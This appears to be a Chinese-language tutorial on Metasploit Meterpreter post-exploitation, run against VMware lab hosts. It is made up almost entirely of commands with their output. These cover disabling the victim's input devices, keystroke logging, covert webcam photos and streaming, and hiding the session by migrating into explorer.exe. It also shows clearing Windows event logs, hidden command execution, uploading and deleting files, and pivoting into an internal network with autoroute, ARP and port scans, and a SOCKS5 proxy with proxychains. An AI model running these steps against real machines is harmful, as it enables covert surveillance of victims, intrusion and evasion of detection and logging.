**键盘 &鼠标操作**
* 指令指南
uictl [enable/disable] [keyboard/mouse/all] #开启或禁止键盘/鼠标
uictl disable mouse #禁用鼠标
uictl disable keyboard #禁用键盘
* 实战
meterpreter > uictl -h
Usage: uictl [enable/disable] [keyboard/mouse/all]
meterpreter >
**键盘记录**
* 指令指南
keyscan_start #开始键盘记录
keyscan_dump #导出记录数据
keyscan_stop #结束键盘记录
* 实战：监控目标机键盘记录
注意：这里需要监控什么账户的键盘记录就需要将会话进程切换到什么账户权限中，这里原本权限是`system`为了监控root用户键盘记录，所以进行进程的迁移
meterpreter > getuid
Server username: NT AUTHORITYSYSTEM
meterpreter > migrate 2308
[*] Migrating from 2904 to 2308...
[*] Migration completed successfully.
meterpreter > getuid
Server username: WIN-5DTIE0M734Eroot
meterpreter >
开始监控
meterpreter > keyscan_start
Starting the keystroke sniffer ...
meterpreter > keyscan_dump
Dumping captured keystrokes...
woaini<CR>
meterpreter >
meterpreter > keyscan_stop
Stopping the keystroke sniffer...
meterpreter >
**摄像头操作**
* 指令指南
webcam_list #查看摄像头
webcam_snap #通过摄像头拍照
webcam_stream #通过摄像头开启视频监控(以网页形式进行监控==直播）
webcam_chat #通过摄像头开启视频聊天（对方有弹窗）
* 实战：通过摄像头拍照
meterpreter > webcam_list
1: EasyCamera
meterpreter >
meterpreter > webcam_snap
[*] Starting...
[+] Got frame
[*] Stopped
Webcam shot saved to: /home/qftm/Desktop/RLBlgNRf.jpeg
meterpreter >
meterpreter > lls /home/qftm/Desktop/
Listing Local: /home/qftm/Desktop/
==================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ---- 40777/rwxrwxrwx 4096 dir 2020-05-03 22:04:11 -0400 ProgrammingProjects
40777/rwxrwxrwx 4096 dir 2020-06-16 11:23:45 -0400 QSec
100644/rw-r--r-- 35533 fil 2020-06-25 02:12:46 -0400 RLBlgNRf.jpeg
100644/rw-r--r-- 21 fil 2020-06-24 23:56:29 -0400 hacking.txt
meterpreter >
* 实战：通过摄像头开启视频监控
meterpreter > webcam_stream
[*] Starting...
[*] Preparing player...
[*] Opening player at: /home/qftm/Desktop/jhQokqrO.html
[*] Streaming...
Opening in existing browser session.
**进程操作**
* 查看目标机进程信息
meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ---- 0 0 [System Process]
4 0 System x64 0
100 484 svchost.exe x64 0 NT AUTHORITYLOCAL SERVICE
244 4 smss.exe x64 0 NT AUTHORITYSYSTEM SystemRootSystem32smss.exe
332 320 csrss.exe x64 0 NT AUTHORITYSYSTEM C:Windowssystem32csrss.exe
384 320 wininit.exe x64 0 NT AUTHORITYSYSTEM C:Windowssystem32wininit.exe
392 376 csrss.exe x64 1 NT AUTHORITYSYSTEM C:Windowssystem32csrss.exe
428 376 winlogon.exe x64 1 NT AUTHORITYSYSTEM C:Windowssystem32winlogon.exe
484 384 services.exe x64 0 NT AUTHORITYSYSTEM C:Windowssystem32services.exe
500 384 lsass.exe x64 0 NT AUTHORITYSYSTEM C:Windowssystem32lsass.exe
508 384 lsm.exe x64 0 NT AUTHORITYSYSTEM C:Windowssystem32lsm.exe
604 484 svchost.exe x64 0 NT AUTHORITYSYSTEM
664 484 svchost.exe x64 0 NT AUTHORITYNETWORK SERVICE
680 484 svchost.exe x64 0 NT AUTHORITYNETWORK SERVICE
756 484 svchost.exe x64 0 NT AUTHORITYLOCAL SERVICE
764 484 svchost.exe x64 0 NT AUTHORITYLOCAL SERVICE
832 484 svchost.exe x64 0 NT AUTHORITYSYSTEM
876 484 svchost.exe x64 0 NT AUTHORITYSYSTEM
1112 484 spoolsv.exe x64 0 NT AUTHORITYSYSTEM C:WindowsSystem32spoolsv.exe
1140 484 svchost.exe x64 0 NT AUTHORITYLOCAL SERVICE
1268 604 WmiPrvSE.exe
1288 484 VGAuthService.exe x64 0 NT AUTHORITYSYSTEM C:Program FilesVMwareVMware ToolsVMware VGAuthVGAuthService.exe
1364 484 vmtoolsd.exe x64 0 NT AUTHORITYSYSTEM C:Program FilesVMwareVMware Toolsvmtoolsd.exe
1380 484 svchost.exe x64 0 NT AUTHORITYSYSTEM
1504 484 VSSVC.exe x64 0 NT AUTHORITYSYSTEM
1592 484 svchost.exe x64 0 NT AUTHORITYNETWORK SERVICE
1812 484 dllhost.exe x64 0 NT AUTHORITYSYSTEM
1900 484 msdtc.exe x64 0 NT AUTHORITYNETWORK SERVICE
2164 484 svchost.exe x64 0 NT AUTHORITYSYSTEM
2204 484 taskhost.exe x64 1 WIN-5DTIE0M734Eroot C:Windowssystem32taskhost.exe
2276 832 dwm.exe x64 1 WIN-5DTIE0M734Eroot C:Windowssystem32Dwm.exe
2308 2268 explorer.exe x64 1 WIN-5DTIE0M734Eroot C:WindowsExplorer.EXE
2436 2308 vm3dservice.exe x64 1 WIN-5DTIE0M734Eroot C:WindowsSystem32vm3dservice.exe
2444 2308 vmtoolsd.exe x64 1 WIN-5DTIE0M734Eroot C:Program FilesVMwareVMware Toolsvmtoolsd.exe
2640 484 SearchIndexer.exe x64 0 NT AUTHORITYSYSTEM
meterpreter >
**进程迁移**
* 指令指南
getpid # 获取当前进程的pid
ps # 查看当前活跃进程
migrate <pid值> #将Meterpreter会话移植到指定pid值进程中
kill <pid值> #杀死进程
* 实战：迁移meterpreter会话进程到其他进程中，实现恶意会话进程的隐藏
获取当前进程ID
meterpreter > getpid
Current pid: 1112
meterpreter >
查看目标机进程信息
meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ---- 0 0 [System Process]
4 0 System x64 0
100 484 svchost.exe x64 0 NT AUTHORITYLOCAL SERVICE
244 4 smss.exe x64 0 NT AUTHORITYSYSTEM SystemRootSystem32smss.exe
332 320 csrss.exe x64 0 NT AUTHORITYSYSTEM C:Windowssystem32csrss.exe
384 320 wininit.exe x64 0 NT AUTHORITYSYSTEM C:Windowssystem32wininit.exe
392 376 csrss.exe x64 1 NT AUTHORITYSYSTEM C:Windowssystem32csrss.exe
428 376 winlogon.exe x64 1 NT AUTHORITYSYSTEM C:Windowssystem32winlogon.exe
484 384 services.exe x64 0 NT AUTHORITYSYSTEM C:Windowssystem32services.exe
500 384 lsass.exe x64 0 NT AUTHORITYSYSTEM C:Windowssystem32lsass.exe
508 384 lsm.exe x64 0 NT AUTHORITYSYSTEM C:Windowssystem32lsm.exe
604 484 svchost.exe x64 0 NT AUTHORITYSYSTEM
664 484 svchost.exe x64 0 NT AUTHORITYNETWORK SERVICE
680 484 svchost.exe x64 0 NT AUTHORITYNETWORK SERVICE
756 484 svchost.exe x64 0 NT AUTHORITYLOCAL SERVICE
764 484 svchost.exe x64 0 NT AUTHORITYLOCAL SERVICE
832 484 svchost.exe x64 0 NT AUTHORITYSYSTEM
876 484 svchost.exe x64 0 NT AUTHORITYSYSTEM
1112 484 spoolsv.exe x64 0 NT AUTHORITYSYSTEM C:WindowsSystem32spoolsv.exe
1140 484 svchost.exe x64 0 NT AUTHORITYLOCAL SERVICE
1268 604 WmiPrvSE.exe
1288 484 VGAuthService.exe x64 0 NT AUTHORITYSYSTEM C:Program FilesVMwareVMware ToolsVMware VGAuthVGAuthService.exe
1364 484 vmtoolsd.exe x64 0 NT AUTHORITYSYSTEM C:Program FilesVMwareVMware Toolsvmtoolsd.exe
1592 484 svchost.exe x64 0 NT AUTHORITYNETWORK SERVICE
1812 484 dllhost.exe x64 0 NT AUTHORITYSYSTEM
1900 484 msdtc.exe x64 0 NT AUTHORITYNETWORK SERVICE
2164 484 svchost.exe x64 0 NT AUTHORITYSYSTEM
2204 484 taskhost.exe x64 1 WIN-5DTIE0M734Eroot C:Windowssystem32taskhost.exe
2276 832 dwm.exe x64 1 WIN-5DTIE0M734Eroot C:Windowssystem32Dwm.exe
2308 2268 explorer.exe x64 1 WIN-5DTIE0M734Eroot C:WindowsExplorer.EXE
2436 2308 vm3dservice.exe x64 1 WIN-5DTIE0M734Eroot C:WindowsSystem32vm3dservice.exe
2444 2308 vmtoolsd.exe x64 1 WIN-5DTIE0M734Eroot C:Program FilesVMwareVMware Toolsvmtoolsd.exe
2640 484 SearchIndexer.exe x64 0 NT AUTHORITYSYSTEM
meterpreter >
选择目标主机活跃进程隐藏会话进程，注入进程：将pid-1112迁移注入到pid-2308的explorer.exe进程中
2308 2268 explorer.exe x64 1 WIN-5DTIE0M734Eroot C:WindowsExplorer.EXE
将Meterpreter会话移植到指定pid值进程中
meterpreter > migrate 2308
[*] Migrating from 1112 to 2308...
[*] Migration completed successfully.
meterpreter >
这里会发现，再次查看目标机进程信息会发现原有进程`pid=1112`还存在，但是已经不起作用了，属于无效进程，但是使用`kill
1119`是杀不死该进程的，因为该进程的权限是`system`的，就算目标机用户发现`pid=1112`有异常将其关闭，也不会影响迁移注入后的会话进程。
meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ---- 0 0 [System Process]
4 0 System
100 484 svchost.exe
244 4 smss.exe
332 320 csrss.exe
384 320 wininit.exe
392 376 csrss.exe
428 376 winlogon.exe
484 384 services.exe
500 384 lsass.exe
508 384 lsm.exe
604 484 svchost.exe
664 484 svchost.exe
680 484 svchost.exe
756 484 svchost.exe
764 484 svchost.exe
832 484 svchost.exe
876 484 svchost.exe
1112 484 spoolsv.exe
1140 484 svchost.exe
1268 604 WmiPrvSE.exe
1288 484 VGAuthService.exe
1364 484 vmtoolsd.exe
1592 484 svchost.exe
1812 484 dllhost.exe
1900 484 msdtc.exe
2164 484 svchost.exe
2204 484 taskhost.exe x64 1 WIN-5DTIE0M734Eroot C:Windowssystem32taskhost.exe
2276 832 dwm.exe x64 1 WIN-5DTIE0M734Eroot C:Windowssystem32Dwm.exe
2308 2268 explorer.exe x64 1 WIN-5DTIE0M734Eroot C:WindowsExplorer.EXE
2436 2308 vm3dservice.exe x64 1 WIN-5DTIE0M734Eroot C:WindowsSystem32vm3dservice.exe
2444 2308 vmtoolsd.exe x64 1 WIN-5DTIE0M734Eroot C:Program FilesVMwareVMware Toolsvmtoolsd.exe
2640 484 SearchIndexer.exe
meterpreter >
查看迁移后的会话进程ID和权限：explorer进程为root普通用户权限，相当于降权（注意：原有explorer进程不受影响）
meterpreter > getpid
Current pid: 2308
meterpreter >
meterpreter > getuid
Server username: WIN-5DTIE0M734Eroot
meterpreter >
一旦降了权就无法迁移到system权限上了：升权被限制
meterpreter > migrate 2164
[*] Migrating from 2308 to 2164...
[-] Error running command migrate: Rex::RuntimeError Cannot migrate into this process (insufficient privileges)
meterpreter >
**执行文件操作**
* 指令指南
execute #在目标机中执行文件
execute -H -i -f cmd.exe # 创建新进程cmd.exe，-H不可见，-i交互
* 实战：执行目标机中的文件
meterpreter > execute -h
Usage: execute -f file [options]
Executes a command on the remote machine.
OPTIONS:
-H Create the process hidden from view.
-a <opt> The arguments to pass to the command.
-c Channelized I/O (required for interaction).
-d <opt> The 'dummy' executable to launch when using -m.
-f <opt> The executable command to run.
-h Help menu.
-i Interact with the process after creating it.
-k Execute process on the meterpreters current desktop
-m Execute from memory.
-s <opt> Execute process in a given session as the session user
-t Execute process with currently impersonated thread token
meterpreter > execute -H -i -f cmd.exe
Process 3004 created.
Channel 1 created.
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����
C:Windowssystem32>whoami
whoami
nt authoritysystem
C:Windowssystem32>exit
exit
meterpreter >
**清除日志**
* 指令指南
clearav #清除windows中的应用程序日志、系统日志、安全日志
* 实战：清除日志痕迹记录
meterpreter > clearev
[*] Wiping 1069 records from Application...
[*] Wiping 5242 records from System...
[*] Wiping 1168 records from Security...
meterpreter >
**文件操作**
* 基本文件系统命令
Command Description
------- ----------- cat 读取会话系统中某一个文件的内容并显示
cd 改变当前目录
checksum 检索文件的校验和
cp 文件复制操作
dir 列出当前目录下的文件 (ls的别名)
download 从当前目录下载某一个文件
edit 编辑文件
getlwd 打印本地当前工作目录
getwd 打印工作目录
lcd 改变本地工作目录
lls 列出本地目录下的文件
lpwd 打印本地当前工作目录
ls 列出目录下所有文件
mkdir 创建文件夹
mv 移动文件
pwd 打印当前工作目录
rm 删除某个特殊文件
rmdir 删除某个目录
search 搜索文件
show_mount List all mount points/logical drives
upload 上传文件或一个目录
* 文件操作
查看当前维持的会话工作目录
meterpreter > getwd
C:Windowssystem32
meterpreter >
查看本地攻击机工作目录
meterpreter > getlwd
/home/qftm
meterpreter >
切换会话目录
meterpreter > cd c:\
meterpreter > pwd
c:
meterpreter >
查看特定目录下文件信息
meterpreter > ls
Listing: c:
============
Mode Size Type Last modified Name
---- ---- ---- ------------- ---- 40777/rwxrwxrwx 0 dir 2009-07-13 23:18:56 -0400 $Recycle.Bin
40777/rwxrwxrwx 0 dir 2009-07-14 01:08:56 -0400 Documents and Settings
40777/rwxrwxrwx 0 dir 2009-07-13 23:20:08 -0400 PerfLogs
40555/r-xr-xr-x 4096 dir 2009-07-13 23:20:08 -0400 Program Files
40555/r-xr-xr-x 4096 dir 2009-07-13 23:20:08 -0400 Program Files (x86)
40777/rwxrwxrwx 4096 dir 2009-07-13 23:20:08 -0400 ProgramData
40777/rwxrwxrwx 0 dir 2020-02-13 10:51:36 -0500 Recovery
40777/rwxrwxrwx 4096 dir 2020-02-13 10:48:53 -0500 System Volume Information
40555/r-xr-xr-x 4096 dir 2009-07-13 23:20:08 -0400 Users
40777/rwxrwxrwx 16384 dir 2009-07-13 23:20:08 -0400 Windows
40777/rwxrwxrwx 0 dir 2020-06-18 11:57:25 -0400 hack
0000/--------- 1237680 fif 1971-09-30 08:50:40 -0400 pagefile.sys
40777/rwxrwxrwx 0 dir 2020-04-25 20:38:11 -0400 software
meterpreter >
向受害者主机创建相应文件夹并向主机上传文件：hacking.txt
本地生成
→ Qftm :~/Desktop# vim hacking.txt
→ Qftm :~/Desktop# ls
hacking.txt ProgrammingProjects QSec
→ Qftm :~/Desktop# cat hacking.txt
Hacking by qftm.....
→ Qftm :~/Desktop#
meterpreter > lls
Listing Local: /home/qftm/Desktop
=================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ---- 40777/rwxrwxrwx 4096 dir 2020-05-03 22:04:11 -0400 ProgrammingProjects
40777/rwxrwxrwx 4096 dir 2020-06-16 11:23:45 -0400 QSec
100644/rw-r--r-- 21 fil 2020-06-24 23:56:29 -0400 hacking.txt
meterpreter >
像受害机上传文件并查看
meterpreter > mkdir hack
Creating directory: hack
meterpreter > ls
Listing: c:
============
Mode Size Type Last modified Name
---- ---- ---- ------------- ---- 40777/rwxrwxrwx 0 dir 2009-07-13 23:18:56 -0400 $Recycle.Bin
40777/rwxrwxrwx 0 dir 2009-07-14 01:08:56 -0400 Documents and Settings
40777/rwxrwxrwx 0 dir 2009-07-13 23:20:08 -0400 PerfLogs
40555/r-xr-xr-x 4096 dir 2009-07-13 23:20:08 -0400 Program Files
40555/r-xr-xr-x 4096 dir 2009-07-13 23:20:08 -0400 Program Files (x86)
40777/rwxrwxrwx 4096 dir 2009-07-13 23:20:08 -0400 ProgramData
40777/rwxrwxrwx 0 dir 2020-02-13 10:51:36 -0500 Recovery
40777/rwxrwxrwx 4096 dir 2020-02-13 10:48:53 -0500 System Volume Information
40555/r-xr-xr-x 4096 dir 2009-07-13 23:20:08 -0400 Users
40777/rwxrwxrwx 16384 dir 2009-07-13 23:20:08 -0400 Windows
40777/rwxrwxrwx 0 dir 2020-06-25 00:01:24 -0400 hack
0000/--------- 1237680 fif 1971-09-30 08:50:40 -0400 pagefile.sys
40777/rwxrwxrwx 0 dir 2020-04-25 20:38:11 -0400 software
meterpreter > upload hacking.txt c:hack
[*] uploading : hacking.txt -> c:hack
[*] uploaded : hacking.txt -> c:hackhacking.txt
meterpreter > ls hack
Listing: hack
=============
Mode Size Type Last modified Name
---- ---- ---- ------------- ---- 100666/rw-rw-rw- 21 fil 2020-06-25 00:01:47 -0400 hacking.txt
meterpreter > cat c:\hack\hacking.txt
Hacking by qftm.....
meterpreter >
修改`hacking.txt`
meterpreter > cd c:\hack
meterpreter > ls
Listing: c:hack
================
Mode Size Type Last modified Name
---- ---- ---- ------------- ---- 100666/rw-rw-rw- 21 fil 2020-06-25 00:01:47 -0400 hacking.txt
meterpreter > edit hacking.txt
meterpreter > cat hacking.txt
Hacking by qftm.....
edit by attack1
meterpreter >
删除`hacking.txt`文件
meterpreter > rm hacking.txt
meterpreter > ls
No entries exist in c:hack
meterpreter >
删除`c:\hack`目录
meterpreter > ls
Listing: c:
============
Mode Size Type Last modified Name
---- ---- ---- ------------- ---- 40777/rwxrwxrwx 0 dir 2009-07-13 23:18:56 -0400 $Recycle.Bin
40777/rwxrwxrwx 0 dir 2009-07-14 01:08:56 -0400 Documents and Settings
40777/rwxrwxrwx 0 dir 2009-07-13 23:20:08 -0400 PerfLogs
40555/r-xr-xr-x 4096 dir 2009-07-13 23:20:08 -0400 Program Files
40555/r-xr-xr-x 4096 dir 2009-07-13 23:20:08 -0400 Program Files (x86)
40777/rwxrwxrwx 4096 dir 2009-07-13 23:20:08 -0400 ProgramData
40777/rwxrwxrwx 0 dir 2020-02-13 10:51:36 -0500 Recovery
40777/rwxrwxrwx 4096 dir 2020-02-13 10:48:53 -0500 System Volume Information
40555/r-xr-xr-x 4096 dir 2009-07-13 23:20:08 -0400 Users
40777/rwxrwxrwx 16384 dir 2009-07-13 23:20:08 -0400 Windows
40777/rwxrwxrwx 0 dir 2020-06-25 00:01:24 -0400 hack
0000/--------- 1237872 fif 1971-09-30 09:18:56 -0400 pagefile.sys
40777/rwxrwxrwx 0 dir 2020-04-25 20:38:11 -0400 software
meterpreter > rmdir hack
Removing directory: hack
meterpreter > ls
Listing: c:
============
Mode Size Type Last modified Name
---- ---- ---- ------------- ---- 40777/rwxrwxrwx 0 dir 2009-07-13 23:18:56 -0400 $Recycle.Bin
40777/rwxrwxrwx 0 dir 2009-07-14 01:08:56 -0400 Documents and Settings
40777/rwxrwxrwx 0 dir 2009-07-13 23:20:08 -0400 PerfLogs
40555/r-xr-xr-x 4096 dir 2009-07-13 23:20:08 -0400 Program Files
40555/r-xr-xr-x 4096 dir 2009-07-13 23:20:08 -0400 Program Files (x86)
40777/rwxrwxrwx 4096 dir 2009-07-13 23:20:08 -0400 ProgramData
40777/rwxrwxrwx 0 dir 2020-02-13 10:51:36 -0500 Recovery
40777/rwxrwxrwx 4096 dir 2020-02-13 10:48:53 -0500 System Volume Information
40555/r-xr-xr-x 4096 dir 2009-07-13 23:20:08 -0400 Users
40777/rwxrwxrwx 16384 dir 2009-07-13 23:20:08 -0400 Windows
0000/--------- 1237856 fif 1971-09-30 09:18:56 -0400 pagefile.sys
40777/rwxrwxrwx 0 dir 2020-04-25 20:38:11 -0400 software
meterpreter >
搜索特定文件
meterpreter > search -h
Usage: search [-d dir] [-r recurse] -f pattern [-f pattern]...
Search for files.
OPTIONS:
-d <opt> The directory/drive to begin searching from. Leave empty to search all drives. (Default: )
-f <opt> A file pattern glob to search for. (e.g. *secret*.doc?)
-h Help Banner
-r <opt> Recursivly search sub directories. (Default: true)
meterpreter > search -d c:\ -f *cmd.exe
Found 12 results...
c:Program FilesVMwareVMware ToolsVMwareNamespaceCmd.exe (36784 bytes)
c:Program FilesVMwareVMware ToolsVMwareToolboxCmd.exe (85424 bytes)
c:WindowsSystem32cmd.exe (345088 bytes)
c:WindowsSystem32VaultCmd.exe (27136 bytes)
c:WindowsSysWOW64cmd.exe (302592 bytes)
c:Windowswinsxsamd64_microsoft-windows-commandprompt_31bf3856ad364e35_6.1.7601.17514_none_e932cc2c30fc13b0cmd.exe (345088 bytes)
c:Windowswinsxsamd64_microsoft-windows-iis-sharedlibraries_31bf3856ad364e35_6.1.7601.17514_none_6f0f7833cb71e18dappcmd.exe (193536 bytes)
c:Windowswinsxsamd64_microsoft-windows-security-vault_31bf3856ad364e35_6.1.7600.16385_none_4d5e025e54ba15f8VaultCmd.exe (27136 bytes)
c:Windowswinsxsamd64_microsoft-windows-snmp-evntcmd_31bf3856ad364e35_6.1.7600.16385_none_14f9b9481db6293bevntcmd.exe (25600 bytes)
c:Windowswinsxswow64_microsoft-windows-commandprompt_31bf3856ad364e35_6.1.7601.17514_none_f387767e655cd5abcmd.exe (302592 bytes)
c:Windowswinsxswow64_microsoft-windows-iis-sharedlibraries_31bf3856ad364e35_6.1.7601.17514_none_79642285ffd2a388appcmd.exe (155648 bytes)
c:Windowswinsxsx86_microsoft-windows-snmp-evntcmd_31bf3856ad364e35_6.1.7600.16385_none_b8db1dc46558b805evntcmd.exe (20480 bytes)
meterpreter >
**基本网络操作指令**
* 指令指南
Command Description
------- ----------- arp 显示ARP缓存
getproxy 查看当前代理配置
ifconfig 查看网络接口信息
ipconfig 查看网络接口信息
netstat 查看网络连接情况（netstat -ano）
route 查看和修改路由表
**路由转发+内网收集**
实战：添加内网路由，对内网进行信息收集
* autoroute添加路由
run autoroute -h #查看帮助
run get_local_subnets #查看目标内网网段地址
run autoroute -s 192.168.9.0/24 #添加到目标环境网络
run autoroute -p #查看添加的路由
查看内网www主机IP信息
meterpreter > ifconfig
Interface 1
============
Name : MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00
MTU : 1520
IPv4 Address : 127.0.0.1
Interface 65539
============
Name : Intel(R) PRO/1000 MT Network Connection
Hardware MAC : 00:0c:29:23:57:f3
MTU : 1500
IPv4 Address : 192.168.9.50
IPv4 Netmask : 255.255.255.0
meterpreter >
添加内网路由并查看：（注意：该配置是在www服务器的meterpreter会话中配置的，而不是内网普通用户主机）
meterpreter > run autoroute -s 192.168.9.0/24
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Adding a route to 192.168.9.0/255.255.255.0...
[+] Added route to 192.168.9.0/255.255.255.0 via 192.33.6.200
[*] Use the -p option to list all active routes
meterpreter > run autoroute -p
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Active Routing Table
====================
Subnet Netmask Gateway
------ ------- ------- 192.168.9.0 255.255.255.0 Session 3
meterpreter >
* 内网信息收集
内网信息收集：利用`arp_scanner`、`portscan`等脚本模块进行信息收集
对内网主机进行一个收集
meterpreter > info post/windows/gather/arp_scanner
Name: Windows Gather ARP Scanner
Module: post/windows/gather/arp_scanner
Platform: Windows
Arch:
Rank: Normal
Provided by:
Carlos Perez <[email protected]>
Compatible session types:
Meterpreter
Basic options:
Name Current Setting Required Description
---- --------------- -------- ----------- RHOSTS yes The target address range or CIDR identifier
SESSION yes The session to run this module on.
THREADS 10 no The number of concurrent threads
Description:
This Module will perform an ARP scan for a given IP range through a
Meterpreter Session.
Module options (post/windows/gather/arp_scanner):
Name Current Setting Required Description
---- --------------- -------- ----------- RHOSTS yes The target address range or CIDR identifier
SESSION yes The session to run this module on.
THREADS 10 no The number of concurrent threads
meterpreter > run post/windows/gather/arp_scanner RHOSTS=192.168.9.0/24 THREADS=50
[*] Running module against SERVER
[*] ARP Scanning 192.168.9.0/24
[+] IP: 192.168.9.50 MAC 00:0c:29:23:57:f3 (VMware, Inc.)
[+] IP: 192.168.9.101 MAC 00:0c:29:fb:6f:2e (VMware, Inc.)
[+] IP: 192.168.9.254 MAC 00:0c:29:8c:0f:e7 (VMware, Inc.)
meterpreter >
对收集到的特定主机`192.168.9.101`进行端口扫描
meterpreter > info auxiliary/scanner/portscan/tcp
Name: TCP Port Scanner
Module: auxiliary/scanner/portscan/tcp
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
hdm <[email protected]>
kris katterjohn <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- ----------- CONCURRENCY 10 yes The number of concurrent ports to check per host
DELAY 0 yes The delay between connections, per thread, in milliseconds
JITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900)
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
THREADS 1 yes The number of concurrent threads (max one per host)
TIMEOUT 1000 yes The socket connect timeout in milliseconds
Description:
Enumerate open TCP services by performing a full TCP connect on each
port. This does not need administrative privileges on the source
machine, which may be useful if pivoting.
Module options (auxiliary/scanner/portscan/tcp):
Name Current Setting Required Description
---- --------------- -------- ----------- CONCURRENCY 10 yes The number of concurrent ports to check per host
DELAY 0 yes The delay between connections, per thread, in milliseconds
JITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900)
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
THREADS 1 yes The number of concurrent threads (max one per host)
TIMEOUT 1000 yes The socket connect timeout in milliseconds
meterpreter > run auxiliary/scanner/portscan/tcp RHOSTS=192.168.9.101 THREADS=50 TIMEOUT=500 RPORTS=1-65535
[+] 192.168.9.101: - 192.168.9.101:139 - TCP OPEN
[+] 192.168.9.101: - 192.168.9.101:135 - TCP OPEN
[+] 192.168.9.101: - 192.168.9.101:445 - TCP OPEN
[+] 192.168.9.101: - 192.168.9.101:3389 - TCP OPEN
meterpreter >
**系统代理+内网收集**
实战：配置系统代理，对内网进行信息收集（前提：在www服务器的meterpreter会话中已配置内网的路由转发功能）
* socks5系统代理
在MSF中设置并启动本地系统代理：`127.0.0.1:1080`
msf5 > use auxiliary/server/socks5
msf5 auxiliary(server/socks5) > show options
Module options (auxiliary/server/socks5):
Name Current Setting Required Description
---- --------------- -------- ----------- PASSWORD no Proxy password for SOCKS5 listener
SRVHOST 0.0.0.0 yes The address to listen on
SRVPORT 1080 yes The port to listen on
USERNAME no Proxy username for SOCKS5 listener
Auxiliary action:
Name Description
---- ----------- Proxy Run SOCKS5 proxy
msf5 auxiliary(server/socks5) > set SRVHOST 127.0.0.1
SRVHOST => 127.0.0.1
msf5 auxiliary(server/socks5) > show options
Module options (auxiliary/server/socks5):
Name Current Setting Required Description
---- --------------- -------- ----------- PASSWORD no Proxy password for SOCKS5 listener
SRVHOST 127.0.0.1 yes The address to listen on
SRVPORT 1080 yes The port to listen on
USERNAME no Proxy username for SOCKS5 listener
Auxiliary action:
Name Description
---- ----------- Proxy Run SOCKS5 proxy
msf5 auxiliary(server/socks5) >
msf5 auxiliary(server/socks5) > run
[*] Auxiliary module running as background job 0.
[*] Starting the socks5 proxy server
msf5 auxiliary(server/socks5) >
然后，在本地配置proxychains软件代理，使得proxychains代理的流量由MSF代理请求转发
→ Qftm :~/Desktop# vim /etc/proxychains.conf
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks5 127.0.0.1 1080
* 内网信息收集
使用已配置的proxychains代理工具进行协助对内网进行信息收集
→ Qftm :~/Desktop# proxychains nmap -Pn -sT 192.168.9.101
ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-25 10:20 EDT
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.9.101:256-<--timeout
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.9.101:8080-<--timeout
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.9.101:554-<--timeout
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.9.101:1720-<--timeout
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.9.101:110-<--timeout
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.9.101:135-<><>-OK
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.9.101:5900-<--timeout
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.9.101:199-<--timeout
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.9.101:21-<--timeout
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.9.101:8888-<--timeout
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.9.101:80-<--timeout
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.9.101:3389-<><>-OK
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.9.101:111-<--timeout
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.9.101:139-<><>-OK
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.9.101:3306-<--timeout
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.9.101:143-<--timeout
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.9.101:443-<--timeout
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.9.101:23-<--timeout
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.9.101:587-<--timeout
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.9.101:113-<--timeout
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.9.101:995-<--timeout
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.9.101:53-<--timeout
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.9.101:25-<--timeout
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.9.101:993-<--timeout
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.9.101:1025-<--timeout
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.9.101:22-<--timeout
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.9.101:445-<><>-OK
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.9.101:1723-<--timeout
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.9.101:3920-<--timeout
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.9.101:2393-<--timeout
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.9.101:49160-<--timeout
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.9.101:49167-<--timeout
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.9.101:1433-<--timeout
